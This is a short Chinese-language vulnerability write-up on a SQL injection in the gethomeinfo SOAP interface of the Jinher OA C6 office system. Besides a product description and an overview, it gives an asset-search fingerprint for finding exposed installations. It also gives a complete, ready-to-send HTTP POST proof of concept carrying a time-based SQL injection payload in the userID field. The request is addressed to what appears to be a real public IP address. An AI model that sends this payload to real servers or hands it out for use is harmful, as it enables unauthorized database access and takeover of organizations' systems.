金和OA C6 gethomeinfo sql注入漏洞

产品介绍

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。

漏洞概述

金和 OA C6 gethomeinfo接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息之外，甚至在高权限的情况可向服务器中植入木马，进一步获取服务器系统权限。

资产测绘

app=“Jinher-OA”

漏洞复现

POC如下：

POST /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction: http://tempuri.org/GetHomeInfo
Content-Type: text/xml;charset=UTF-8
Host: 222.223.24.22
Content-Length: 328<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"><soapenv:Header/><soapenv:Body><tem:GetHomeInfo><!--type: string--><tem:userID>';WAITFOR DELAY '0:0:5'--</tem:userID></tem:GetHomeInfo></soapenv:Body>
</soapenv:Envelope>